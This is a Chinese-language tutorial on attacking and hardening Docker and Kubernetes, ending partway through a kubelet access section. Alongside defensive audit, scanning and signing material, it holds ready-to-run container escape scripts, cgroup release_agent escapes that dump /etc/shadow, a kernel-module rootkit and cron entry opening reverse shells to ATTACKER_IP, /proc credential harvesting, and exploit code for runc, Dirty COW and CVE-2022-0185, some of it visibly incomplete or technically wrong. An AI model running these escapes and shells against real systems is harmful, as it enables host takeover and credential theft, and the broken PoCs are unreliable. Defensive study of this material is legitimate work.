Docker与Kubernetes安全攻防实战:容器逃逸与集群接管
一、容器安全现状与背景
随着云原生技术的全面普及,Docker和Kubernetes已经成为现代基础设施的标配。然而,容器技术的便捷性往往让运维人员忽视了安全风险。据CNCF 2025年度调查报告显示,超过94%的生产环境运行着容器化应用,但其中近60%的集群存在高危配置问题。容器逃逸、供应链投毒、集群接管等攻击手段层出不穷,企业一旦被攻破,影响范围远超传统主机入侵。
本文从攻击者视角出发,系统梳理Docker与Kubernetes的安全攻防全链路,涵盖容器逃逸、集群接管、RBAC提权、CI/CD投毒等核心技术场景。所有技术内容仅用于授权测试和安全学习,请勿用于非法用途。
【提示】 本文所有攻击技术仅限在授权环境下进行测试。未经授权对他人系统进行渗透测试属于违法行为,可能触犯《网络安全法》《刑法》第285、286条等相关法律。请务必在自有靶场或获得书面授权的环境中使用本文技术。
二、容器安全基础
2.1 Docker架构原理
Docker采用客户端-服务端架构,核心组件包括:
- Docker Engine:守护进程(dockerd),负责镜像构建、容器运行、资源管理
- Docker Daemon:监听Unix Socket(/var/run/docker.sock)或TCP端口,处理API请求
- 容器(Container):镜像的运行实例,通过namespace和cgroup实现隔离
- 镜像(Image):只读模板,包含应用运行所需的全部文件和配置
- 仓库(Registry):存储和分发镜像的服务(Docker Hub、Harbor、私有仓库)
Docker的隔离机制依赖于Linux内核的三大技术:
# 查看容器的namespace
ls -la /proc/$(docker inspect -f '{{.State.Pid}}' container_name)/ns/
# 查看容器的cgroup
cat /proc/$(docker inspect -f '{{.State.Pid}}' container_name)/cgroup
# 查看Docker版本和运行时信息
docker version
docker info
2.2 Kubernetes架构
Kubernetes集群由Master节点和Worker节点组成:
Master节点组件:
- kube-apiserver:集群统一入口,所有操作经过API Server
- etcd:分布式键值存储,保存集群全部状态数据
- kube-scheduler:负责Pod调度到合适的Node
- kube-controller-manager:运行控制器(副本、节点、端点等)
Node节点组件:
- kubelet:管理本节点Pod生命周期,与API Server通信
- kube-proxy:实现Service网络代理和负载均衡
- 容器运行时:containerd或CRI-O,负责运行容器
核心概念:
- Pod:最小调度单元,包含一个或多个容器
- Service:为一组Pod提供稳定的访问入口
- ConfigMap/Secret:配置和敏感信息存储
- ServiceAccount:Pod身份标识,附带Token用于API认证
# 查看集群节点
kubectl get nodes -o wide
# 查看集群组件状态
kubectl get componentstatuses
# 查看所有命名空间的Pod
kubectl get pods --all-namespaces -o wide
2.3 容器与虚拟机对比
| 对比维度 | 虚拟机(VM) | 容器(Container) |
|---|---|---|
| 隔隔方式 | 硬件级虚拟化(Hypervisor) | 操作系统级虚拟化(namespace+cgroup) |
| 内核 | 独立内核 | 共享宿主机内核 |
| 资源开销 | 重(GB级内存) | 轻(MB级内存) |
| 启动速度 | 分钟级 | 秒级 |
| 安全隔离 | 强(硬件隔离) | 弱(共享内核) |
| 攻击面 | 独立内核,逃逸难度高 | 共享内核,逃逸路径多 |
| 内核漏洞影响 | 仅影响单个VM | 可能影响宿主机及所有容器 |
| 防逃逸能力 | 硬件辅助虚拟化 | 依赖内核补丁和配置加固 |
2.4 容器安全风险面分析
容器安全风险分布在四个层面:
宿主机层面:
- 内核漏洞导致容器逃逸
- Docker Daemon配置不当(TCP暴露、Socket权限过宽)
- 主机内核模块可被加载
镜像层面:
- 基础镜像包含已知漏洞
- Dockerfile中硬编码敏感信息
- 镜像供应链投毒
运行时层面:
- 特权容器或过度授权
- 容器以root用户运行
- 缺少运行时监控
编排层面(Kubernetes):
- API Server未授权访问
- RBAC配置过宽
- 网络策略缺失
- Secret明文存储
2.5 CIS Benchmark介绍
CIS(Center for Internet Security)Benchmark是业界公认的安全配置基准。容器相关的CIS基准包括:
- CIS Docker Benchmark:Docker Engine和容器运行时安全配置
- CIS Kubernetes Benchmark:Kubernetes集群各组件安全配置
- CIS Container Registry Benchmark:镜像仓库安全配置
# 使用kube-bench检查Kubernetes集群CIS合规性
kube-bench --benchmark cis-1.8
# 检查Docker的CIS合规性
docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock \
aquasec/kube-bench:latest --benchmark cis-docker
# 检查特定节点
kube-bench --benchmark cis-1.8 --targets node
kube-bench --benchmark cis-1.8 --targets master
三、Docker安全配置审计
3.1 Docker Daemon安全检查
Docker Daemon是容器运行的核心守护进程,其配置直接关系到宿主机安全。
检查TCP端口暴露:
# 检查Docker是否监听TCP端口(默认不应监听)
ss -tlnp | grep docker
# 如果出现2375/2376端口监听,说明TCP已开启
# 2375为无认证端口,2376为TLS端口
# 检查Docker进程启动参数
ps aux | grep dockerd
# 安全的启动参数示例
# dockerd --tlsverify --tlscacert=/etc/docker/ca.pem \
# --tlscert=/etc/docker/cert.pem --tlskey=/etc/docker/key.pem \
# -H=unix:///var/run/docker.sock
检查Docker Socket权限:
# 检查docker.sock权限(应为660,属主root:docker)
ls -la /var/run/docker.sock
# 检查哪些用户在docker组中(docker组用户可无密码控制Docker)
getent group docker
# 检查Docker配置文件
cat /etc/docker/daemon.json
【提示】 任何拥有docker组权限的用户等同于root权限。攻击者只需执行
docker run -v /:/host alpine chroot /host即可获得宿主机完整控制权。务必严格控制docker组成员。
检查TLS认证配置:
# 检查Docker TLS证书是否存在
ls -la /etc/docker/*.pem
# 验证TLS配置
docker --tlsverify --tlscacert=/etc/docker/ca.pem \
--tlscert=/etc/docker/cert.pem \
--tlskey=/etc/docker/key.pem \
-H=$(hostname):2376 info
3.2 镜像安全扫描
镜像安全扫描是发现已知漏洞的第一道防线。
# Trivy扫描镜像漏洞
trivy image nginx:1.25
# Trivy扫描指定严重级别
trivy image --severity HIGH,CRITICAL nginx:1.25
# Trivy扫描本地镜像
trivy image --input alpine.tar
# Clair扫描(通过REST API)
clair-scanner --clair-url=http://clair:6060 nginx:1.25
# Grype扫描镜像
grype nginx:1.25
# Grype仅显示高危及严重漏洞
grype nginx:1.25 --only-fixed --fail-on high
# Trivy扫描Dockerfile中的配置问题
trivy config Dockerfile
3.3 Dockerfile安全审计清单
| 审计项 | 风险描述 | 安全建议 |
|---|---|---|
| 基础镜像来源 | 使用非官方或过时镜像 | 使用官方镜像并指定版本号 |
| 以root运行 | 容器默认root权限 | 创建非root用户运行应用 |
| 敏感信息硬编码 | 密码/Token写入Dockerfile | 使用Secret或构建参数 |
| 未使用多阶段构建 | 构建工具留在最终镜像 | 使用多阶段构建减小攻击面 |
| 未限制资源 | 容器可耗尽宿主资源 | 设置CPU/内存限制 |
| 安装不必要包 | 增加漏洞暴露面 | 仅安装运行所需最小包集 |
| 未指定健康检查 | 容器异常无法感知 | 配置HEALTHCHECK |
| 使用latest标签 | 镜像版本不可控 | 固定版本号 |
| .dockerignore缺失 | 构建上下文泄露敏感文件 | 配置.dockerignore |
| 未验证镜像签名 | 镜像可被篡改 | 使用Notary/Cosign签名验证 |
| ADD指令使用 | ADD可从远程拉取文件存在风险 | 优先使用COPY |
| 未设置只读文件系统 | 攻击者可写入恶意文件 | 使用 --read-only |
| apt-get未清理缓存 | 增加镜像体积和漏洞面 | 安装后rm -rf /var/lib/apt/lists/* |
| 未设置非交互模式 | 构建可能卡住 | 设置DEBIAN_FRONTEND=noninteractive |
| 权限提升配置 | 使用sudo增加风险 | 避免在容器内使用sudo |
安全Dockerfile示例:
# 使用官方精简镜像并固定版本
FROM node:20.11-alpine3.19 AS builder
# 设置非交互模式
ENV DEBIAN_FRONTEND=noninteractive
# 设置工作目录
WORKDIR /app
# 仅复制依赖文件,利用缓存层
COPY package*.json ./
# 以非root用户安装依赖
RUN npm ci --only=production && \
npm cache clean --force
# 多阶段构建:运行阶段
FROM node:20.11-alpine3.19
# 创建非root用户
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
# 设置工作目录
WORKDIR /app
# 从构建阶段复制文件
COPY --from=builder /app/node_modules ./node_modules
COPY --from=builder /app/package*.json ./
COPY . .
# 设置文件属主
RUN chown -R appuser:appgroup /app
# 切换到非root用户
USER appuser
# 暴露端口
EXPOSE 3000
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s --retries=3 \
CMD wget --no-check-certificate --spider -q http://localhost:3000/health || exit 1
# 启动命令
CMD ["node", "server.js"]
3.4 配置文件安全检查命令
# 检查Docker daemon.json安全配置
cat /etc/docker/daemon.json | python3 -m json.tool
# 安全的daemon.json配置
cat > /etc/docker/daemon.json << 'EOF'
{
"icc": false,
"live-restore": true,
"userland-proxy": false,
"no-new-privileges": true,
"storage-driver": "overlay2",
"log-opts": {
"max-size": "10m",
"max-file": "3"
},
"userns-remap": "default",
"tls": true,
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/cert.pem",
"tlskey": "/etc/docker/key.pem",
"hosts": ["unix:///var/run/docker.sock"]
}
EOF
# 检查容器运行时配置
docker inspect container_name | grep -E '"Privileged"|"CapAdd"|"User"|"PidMode"|"NetworkMode"'
# 检查所有容器的安全配置
docker ps -q | xargs docker inspect --format '{{.Name}}: Privileged={{.HostConfig.Privileged}} Caps={{.HostConfig.CapAdd}} User={{.Config.User}}'
四、容器逃逸技术(基础篇)
4.1 逃逸原理与分类
容器逃逸是指攻击者从容器内部突破隔离,获取宿主机或其他容器访问权限的过程。
| 逃逸类型 | 原理 | 利用条件 |
|---|---|---|
| 特权容器逃逸 | 特权容器拥有全部能力,可访问宿主设备 | 容器以–privileged运行 |
| 危险能力逃逸 | 容器被赋予危险Linux Capability | –cap-add添加危险能力 |
| Docker Socket逃逸 | 容器挂载了Docker Socket | /var/run/docker.sock被挂载 |
| 内核漏洞逃逸 | 利用内核漏洞突破namespace | 宿主内核存在已知漏洞 |
| cgroup逃逸 | 利用cgroup release_agent | 可写cgroup挂载点 |
| procfs逃逸 | 利用/proc挂载泄露 | /proc被错误挂载 |
| 容器间逃逸 | 共享namespace的容器互相访问 | –network/host/pid共享 |
4.2 特权容器逃逸
特权容器(–privileged)是容器逃逸中最常见的途径。特权容器拥有全部Linux Capability,可访问所有设备文件。
逃逸原理: 特权容器可以直接访问宿主机的磁盘设备,挂载宿主文件系统后chroot即可获得宿主机完整权限。
# 步骤1:识别当前是否为特权容器
# 在容器内执行
cat /proc/1/status | grep Cap
# 如果CapEff为0000003fffffffff,说明是特权容器
# 或者检查设备访问权限
fdisk -l 2>/dev/null
ls -la /dev/ | grep sd # 或nvme
# 步骤2:查看宿主磁盘分区
cat /proc/partitions
# 步骤3:挂载宿主磁盘
mkdir -p /host
mount /dev/sda1 /host # 根据实际情况选择磁盘
# 或挂载nvme设备
# mount /dev/nvme0n1p1 /host
# 步骤4:chroot到宿主机文件系统
chroot /host /bin/bash
# 此时已获得宿主机完整shell
# 可以查看宿主机文件、添加用户、配置后门等
# 步骤5:加载内核模块(持久化)
# 在特权容器中可以加载内核模块
insmod /host/path/to/malicious.ko
# 步骤6:写入计划任务实现持久化
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /host/var/spool/cron/root
完整利用脚本:
#!/bin/bash
# privileged_escape.sh - 特权容器逃逸脚本
# 仅用于授权测试
echo "[*] 检查容器权限..."
CAP=$(cat /proc/1/status | grep CapEff | awk '{print $2}')
if [ "$CAP" != "0000003fffffffff" ]; then
echo "[-] 非特权容器,此方法无效"
exit 1
fi
echo "[+] 确认特权容器"
echo "[*] 枚举宿主磁盘..."
fdisk -l 2>/dev/null | grep "^/dev" | head -5
echo "[*] 挂载宿主根分区..."
DISK=$(cat /proc/mounts | grep -o '/dev/[a-z0-9]*' | head -1)
mkdir -p /host
mount $DISK /host 2>/dev/null || mount /dev/sda1 /host 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] 挂载成功,执行chroot..."
chroot /host /bin/bash
else
echo "[-] 挂载失败,尝试其他磁盘..."
for dev in $(ls /dev/sd* /dev/nvme* /dev/vd* 2>/dev/null); do
mount $dev /host 2>/dev/null && break
done
chroot /host /bin/bash
fi
4.3 危险能力滥用
即使不是特权容器,如果被赋予了危险能力,同样可以实现逃逸。
CAP_SYS_ADMIN逃逸:
# CAP_SYS_ADMIN是最危险的能力之一,可以进行mount等操作
# 如果容器拥有CAP_SYS_ADMIN
# 方法1:通过cgroup release_agent逃逸
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# 设置notify_on_release
echo 1 > /tmp/cgrp/x/notify_on_release
# 设置release_agent指向宿主机上的脚本
# 需要知道宿主机的路径
echo "#!/bin/sh" > /cmd
echo "cat /flag > /host_output" >> /cmd
chmod +x /cmd
# 获取容器在宿主机的路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 触发release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
CAP_SYS_PTRACE能力滥用:
# CAP_SYS_PTRACE允许注入进程,可以读取其他进程内存
# 查看宿主机进程(需要同时拥有--pid=host)
ps aux
# 读取进程内存提取敏感信息
# 使用gdb附加到宿主机进程
gdb -p <PID>
(gdb) dump memory /tmp/dump.bin 0x7f0000000000 0x7f0000100000
# 在内存中搜索凭据
strings /tmp/dump.bin | grep -iE "password|token|key"
CAP_SYS_MODULE能力滥用:
# CAP_SYS_MODULE允许加载内核模块,可以直接加载恶意内核模块逃逸
# 检查是否拥有该能力
capsh --print | grep sys_module
# 编写恶意内核模块(反向shell)
cat > reverse_shell.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
static int __init rootkit_init(void) {
char *argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}
module_init(rootkit_init);
MODULE_LICENSE("GPL");
EOF
# 编译Makefile
cat > Makefile << 'EOF'
obj-m += reverse_shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
EOF
# 编译并加载
make
insmod reverse_shell.ko
4.4 Docker Socket挂载逃逸
当容器挂载了Docker Socket时,攻击者可以直接控制宿主机的Docker Engine,实现逃逸。
# 检查是否挂载了Docker Socket
ls -la /var/run/docker.sock
# 或
mount | grep docker.sock
# 使用Docker CLI创建特权容器并挂载宿主根目录
docker run -it -v /:/host --privileged alpine /bin/sh
# 在新容器中chroot到宿主机
chroot /host /bin/bash
# 如果容器内没有Docker CLI,可以下载静态编译版本
wget https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz
tar xzf docker-24.0.7.tgz
./docker/docker -H unix:///var/run/docker.sock run -it -v /:/host --privileged alpine /bin/sh
# 或者直接通过HTTP API调用Docker Engine
# 创建特权容器
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Privileged":true,"Binds":["/:/host"]}}' \
http://localhost/containers/create
# 启动容器
CONTAINER_ID=$(curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Privileged":true,"Binds":["/:/host"]}}' \
http://localhost/containers/create | python3 -c "import sys,json;print(json.load(sys.stdin)['Id'])")
curl -s -X POST --unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID/start
【提示】 Docker Socket挂载逃逸是实际环境中最常见的逃逸方式之一。很多监控、CI/CD类容器(如Jenkins Agent、GitLab Runner)需要访问Docker Socket来构建镜像,但如果这些容器被攻破,攻击者将直接获得宿主机权限。应尽量避免挂载Docker Socket,或使用更安全的替代方案(如Kaniko、Buildah)。
五、容器逃逸技术(进阶篇)
5.1 内核漏洞逃逸
容器共享宿主机内核,内核漏洞可以直接导致容器逃逸。
CVE-2019-5736:runc容器逃逸
该漏洞允许攻击者通过覆盖宿主机上的runc二进制文件实现逃逸。runc是Docker和Kubernetes默认的容器运行时。
// CVE-2019-5736 PoC - runc容器逃逸
// 仅用于授权测试
package main
import (
"fmt"
"io/ioutil"
"os"
"os/exec"
"strconv"
"strings"
"syscall"
)
func main() {
// 步骤1:将恶意脚本写入容器内
payload := "#!/bin/bash\ncat /flag > /tmp/pwned\n"
ioutil.WriteFile("/tmp/payload.sh", []byte(payload), 0755)
// 步骤2:等待runc被重新执行(通过docker exec或docker attach触发)
fmt.Println("[*] 等待runc执行...")
fmt.Println("[*] 请在宿主机执行: docker exec <container> anything")
for {
// 查找runc进程
cmd := exec.Command("ps", "aux")
output, _ := cmd.Output()
if strings.Contains(string(output), "runc") {
// 获取runc的PID
lines := strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(line, "runc") {
fields := strings.Fields(line)
pid, _ := strconv.Atoi(fields[1])
// 通过/proc/PID/exe覆盖runc二进制
runcPath := fmt.Sprintf("/proc/%d/exe", pid)
fmt.Printf("[+] 找到runc进程: PID=%d\n", pid)
// 打开runc二进制句柄
fd, err := syscall.Open(runcPath, syscall.O_PATH, 0)
if err != nil {
continue
}
// 通过/proc/self/fd/路径覆盖runc
targetPath := fmt.Sprintf("/proc/self/fd/%d", fd)
// 写入恶意内容替换runc
ioutil.WriteFile(targetPath, []byte(payload), 0755)
fmt.Println("[+] runc已被覆盖,逃逸成功")
break
}
}
break
}
}
}
CVE-2022-0484:cgroup v1 release_agent逃逸
# CVE-2022-0484利用cgroup v1的release_agent
# 需要CAP_SYS_ADMIN能力
# 检查cgroup版本
stat /sys/fs/cgroup/cgroup.controllers 2>/dev/null && echo "cgroup v2" || echo "cgroup v1"
# 利用步骤(cgroup v1)
mkdir /tmp/exploit
mount -t cgroup -o rdma cgroup /tmp/exploit 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/exploit
mkdir /tmp/exploit/x
echo 1 > /tmp/exploit/x/notify_on_release
# 获取容器在宿主机的路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "${host_path}/cmd" > /tmp/exploit/release_agent
# 写入执行命令
echo '#!/bin/bash' > /cmd
echo 'cat /etc/shadow > '"${host_path}"'/output' >> /cmd
chmod +x /cmd
# 触发
sh -c "echo \$\$ > /tmp/exploit/x/cgroup.procs"
# 读取结果
cat /output
CVE-2022-0185:文件系统上下文溢出
// CVE-2022-0185 - Linux内核文件系统上下文溢出
// 允许容器内root用户逃逸到宿主机
// 需要CAP_SYS_ADMIN(但可在用户命名空间内获取)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/mount.h>
#define PAYLOAD "#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n"
int main() {
// 创建新用户命名空间以获取CAP_SYS_ADMIN
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
perror("unshare");
return 1;
}
// 写入uid/gid映射
FILE *f = fopen("/proc/self/setgroups", "w");
if (f) { fprintf(f, "deny"); fclose(f); }
f = fopen("/proc/self/uid_map", "w");
if (f) { fprintf(f, "%d %d 1", uid, uid); fclose(f); }
f = fopen("/proc/self/gid_map", "w");
if (f) { fprintf(f, "%d %d 1", gid, gid); fclose(f); }
// 利用fsconfig溢出
// 具体利用代码较长,这里展示核心思路
// 通过legacy_parse_param函数的整数溢出
// 覆盖相邻内存实现任意代码执行
printf("[*] CVE-2022-0185 Exploit\n");
printf("[*] 创建用户命名空间获取CAP_SYS_ADMIN...\n");
printf("[*] 触发fsconfig溢出...\n");
// 挂载并逃逸
system("mkdir /tmp/escape");
system("mount -t tmpfs tmpfs /tmp/escape");
return 0;
}
5.2 Dirty COW(CVE-2016-5195)漏洞利用
Dirty COW是一个竞态条件漏洞,允许对只读文件进行写入。在容器场景中,可以用于修改宿主机共享的只读文件。
// dirty_cow.c - Dirty COW漏洞利用
// 仅用于授权测试环境
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
char *map;
int f;
struct stat st;
char *backup;
void *madviseThread(void *arg) {
for (int i = 0; i < 100000000; i++) {
madvise(map, st.st_size, MADV_DONTNEED);
}
return NULL;
}
void *writeThread(void *arg) {
// 写入恶意内容替换目标文件
char *content = "#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n";
for (int i = 0; i < 100000000; i++) {
// 利用COW竞态条件写入只读文件
memcpy(map, content, strlen(content));
}
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <target_file>\n", argv[0]);
return 1;
}
f = open(argv[1], O_RDONLY);
fstat(f, &st);
backup = malloc(st.st_size);
read(f, backup, st.st_size);
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
// 通过mprotect修改为可写
mprotect(map, st.st_size, PROT_READ | PROT_WRITE);
pthread_t thread1, thread2;
pthread_create(&thread1, NULL, madviseThread, NULL);
pthread_create(&thread2, NULL, writeThread, NULL);
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
printf("[+] 利用完成,检查目标文件\n");
return 0;
}
5.3 Cgroup逃逸
cgroup release_agent是内核在cgroup中最后一个进程退出时执行的脚本,这个脚本以root权限在宿主机上运行。
#!/bin/bash
# cgroup_escape.sh - cgroup release_agent逃逸
# 需要CAP_SYS_ADMIN能力
echo "[*] Cgroup Release Agent逃逸"
# 检查是否有写cgroup的权限
if [ ! -w /sys/fs/cgroup ]; then
echo "[-] 无cgroup写权限"
exit 1
fi
# 创建cgroup
mkdir /tmp/cgrp_$$
mount -t cgroup -o rdma cgroup /tmp/cgrp_$$ 2>/dev/null
if [ $? -ne 0 ]; then
mount -t cgroup -o memory cgroup /tmp/cgrp_$$ 2>/dev/null
fi
# 创建子cgroup
mkdir /tmp/cgrp_$$/x
# 启用notify_on_release
echo 1 > /tmp/cgrp_$$/x/notify_on_release
# 获取容器在宿主机的路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "[+] 容器宿主路径: $host_path"
# 写入逃逸命令
cat > /cmd << 'CMD'
#!/bin/bash
# 在宿主机上执行命令
id > /tmp/pwned
hostname >> /tmp/pwned
cat /etc/shadow > /tmp/shadow_dump
CMD
chmod +x /cmd
# 设置release_agent
echo "${host_path}/cmd" > /tmp/cgrp_$$/release_agent
# 触发:将当前进程加入cgroup后退出
sh -c "echo \$\$ > /tmp/cgrp_$$/x/cgroup.procs"
# 等待执行
sleep 2
# 检查结果
cat /tmp/pwned 2>/dev/null
echo "[+] 逃逸完成"
5.4 Procfs误挂载逃逸
当容器以特权模式或某些特殊配置运行时,/proc可能被错误挂载,导致宿主机进程信息泄露。
# 检查/proc是否暴露宿主机进程
ls /proc/*/cmdline 2>/dev/null | head
# 如果能看到宿主机进程(非容器内进程),说明--pid=host
ps aux | grep -v "PID"
# 方法1:读取宿主机进程的environ获取环境变量中的敏感信息
for pid in $(ls /proc/ | grep -E '^[0-9]+$' | head -20); do
echo "=== PID $pid ==="
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|token|key|secret|aws"
done
# 方法2:通过/proc/1/root访问宿主机文件系统
# 如果/proc被以宿主机方式挂载
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow 2>/dev/null
# 方法3:通过/proc/sysrq-trigger触发内核崩溃(DoS)
# echo c > /proc/sysrq-trigger # 谨慎执行,会导致内核崩溃
# 方法4:读取/proc/kallsyms获取内核符号地址
cat /proc/kallsyms | head
# 方法5:通过/proc/self/mountinfo分析挂载情况
cat /proc/self/mountinfo | grep -E "host|proc|cgroup"
# 方法6:利用/proc/sys/kernel/core_pattern
# 如果可写,可以设置任意程序在core dump时执行
echo "|/tmp/payload" > /proc/sys/kernel/core_pattern
# 然后触发一个程序崩溃,payload将以root执行
# 检查core_pattern是否可写
ls -la /proc/sys/kernel/core_pattern
六、镜像供应链攻击
6.1 恶意镜像分析
供应链攻击通过在镜像中植入恶意代码,在用户拉取并运行镜像时触发攻击。
挖矿镜像分析:
# 拉取可疑镜像
docker pull suspicious/image:latest
# 分析镜像历史层
docker history --no-trunc suspicious/image:latest
# 导出镜像文件系统进行检查
docker create --name inspect_image suspicious/image:latest
docker export inspect_image | tar -tvf - | grep -iE "miner|xmr|stratum|kworker"
docker rm inspect_image
# 使用dive工具分析镜像层
dive suspicious/image:latest
# 检查镜像中的可疑进程配置
docker run --rm suspicious/image:latest cat /etc/crontab
docker run --rm suspicious/image:latest ls -la /tmp/
docker run --rm suspicious/image:latest find / -name "*.sh" -newer /etc/hostname
后门镜像分析:
# 检查镜像中的SSH公钥
docker run --rm suspicious/image:latest cat /root/.ssh/authorized_keys 2>/dev/null
# 检查后门用户
docker run --rm suspicious/image:latest cat /etc/passwd | grep "0:" | grep -v "^root:"
# 检查后门服务
docker run --rm suspicious/image:latest cat /etc/cron.d/* 2>/dev/null
docker run --rm suspicious/image:latest systemctl list-unit-files 2>/dev/null
# 检查网络连接配置
docker run --rm suspicious/image:latest cat /etc/resolv.conf
docker run --rm suspicious/image:latest iptables -L 2>/dev/null
# 使用Trivy扫描镜像中的恶意软件
trivy image --scanners malware suspicious/image:latest
6.2 Docker Hub供应链风险
Docker Hub作为最大的公共镜像仓库,存在以下供应链风险:
- 同名镜像投毒:攻击者上传与知名项目同名的镜像
- Typosquatting:使用与官方镜像名称相似的名称
- 过期镜像风险:官方镜像旧版本包含已修复的漏洞
- 依赖链风险:基础镜像的依赖包被投毒
# 验证镜像是否为官方镜像
docker image inspect nginx:latest | grep -A5 "RepoTags\|RepoDigests"
# 检查镜像签名
docker trust inspect nginx:latest
# 搜索Docker Hub上的可疑镜像
# 注意检查下载量和Verified Publisher标识
docker search nginx
# 拉取镜像时使用digest固定版本
docker pull nginx@sha256:specific_digest_here
# 验证镜像完整性
docker image inspect nginx:1.25 | grep -i digest
6.3 镜像签名验证
Docker Notary(Content Trust):
# 启用Docker Content Trust
export DOCKER_CONTENT_TRUST=1
# 签名镜像
docker trust key generate mykey
docker trust signer add --key mykey.pub myuser myrepo/myimage:latest
docker trust sign myrepo/myimage:latest
# 验证签名
docker trust inspect myrepo/myimage:latest --pretty
# 拉取时自动验证签名
export DOCKER_CONTENT_TRUST=1
docker pull myrepo/myimage:latest
Cosign签名验证:
# 安装Cosign
curl -L https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64 \
-o /usr/local/bin/cosign && chmod +x /usr/local/bin/cosign
# 生成密钥对
cosign generate-key-pair
# 对镜像签名(使用密钥)
cosign sign --key cosign.key myrepo/myimage:latest
# 使用无密钥签名(keyless,基于OIDC)
cosign sign myrepo/myimage:latest
# 验证镜像签名
cosign verify --key cosign.pub myrepo/myimage:latest
# 在CI/CD中自动验证
cosign verify --key cosign.pub myrepo/myimage:latest || exit 1
6.4 SBOM物料清单
SBOM(Software Bill of Materials)是镜像中所有组件的清单,用于追踪供应链依赖。
# 使用Trivy生成SBOM
trivy image --format spdx-json -o sbom.json nginx:1.25
# 使用Syft生成SBOM
syft nginx:1.25 -o spdx-json > sbom.json
# 使用Docker自带的SBOM功能
docker sbom nginx:1.25
# 扫描SBOM中的漏洞
trivy sbom --format json sbom.json
# CycloneDX格式SBOM
syft nginx:1.25 -o cyclonedx-json > sbom-cyclonedx.json
# 持续监控SBOM漏洞
grype sbom:./sbom.json --fail-on high
【提示】 SBOM是供应链安全的核心。建议在CI/CD管道中为每个镜像生成SBOM,并持续监控SBOM中组件的新漏洞。当新漏洞披露时,可以快速定位受影响的镜像版本。
6.5 镜像安全扫描实战
#!/bin/bash
# image_security_scan.sh - 镜像安全扫描脚本
IMAGE=$1
if [ -z "$IMAGE" ]; then
echo "Usage: $0 <image_name>"
exit 1
fi
echo "========================================="
echo "镜像安全扫描报告: $IMAGE"
echo "========================================="
echo ""
echo "[1] 漏洞扫描 (Trivy)"
echo "-----------------------------------------"
trivy image --severity HIGH,CRITICAL --exit-code 1 $IMAGE
echo ""
echo "[2] 配置扫描 (Trivy)"
echo "-----------------------------------------"
trivy image --scanners misconfig $IMAGE
echo ""
echo "[3] 敏感信息扫描 (Trivy)"
echo "-----------------------------------------"
trivy image --scanners secret $IMAGE
echo ""
echo "[4] SBOM生成 (Syft)"
echo "-----------------------------------------"
syft $IMAGE -o table
echo ""
echo "[5] 签名验证 (Cosign)"
echo "-----------------------------------------"
cosign verify $IMAGE 2>/dev/null || echo "镜像未签名"
echo ""
echo "[6] 镜像历史分析"
echo "-----------------------------------------"
docker history --no-trunc $IMAGE
echo ""
echo "[*] 扫描完成"
七、Kubernetes攻击面分析
7.1 API Server暴露风险
Kubernetes API Server是集群的控制中心,默认监听6443端口。
# 检查API Server是否暴露
nmap -p 6443,8443,8080 TARGET_IP
# 尝试匿名访问
curl -k https://TARGET_IP:6443/api
curl -k https://TARGET_IP:6443/api/v1/namespaces
# 检查是否允许匿名访问(6443端口)
curl -k https://TARGET_IP:6443/api/v1/namespaces \
-H "Authorization: Bearer invalid_token"
# 如果返回401说明需要认证
# 如果返回200说明匿名访问被允许(高危)
# 检查insecure-port(8080端口,已废弃但可能遗留)
curl http://TARGET_IP:8080/api/v1/nodes
# 枚举API资源
curl -k https://TARGET_IP:6443/api/v1/
curl -k https://TARGET_IP:6443/apis/
curl -k https://TARGET_IP:6443/openapi/v2
7.2 Kubelet API未授权访问
Kubelet在每个Node上运行,默认监听10250端口。如果配置不当,攻击者可以远程执行命令。
# 检查kubelet端口
nmap -p 10250,10255,4194 TARGET_IP
# 尝试匿名访问kubelet API
curl -k https://TARGET_IP:10250/pods
# 如果返回Pod列表,说明kubelet允许匿名访问
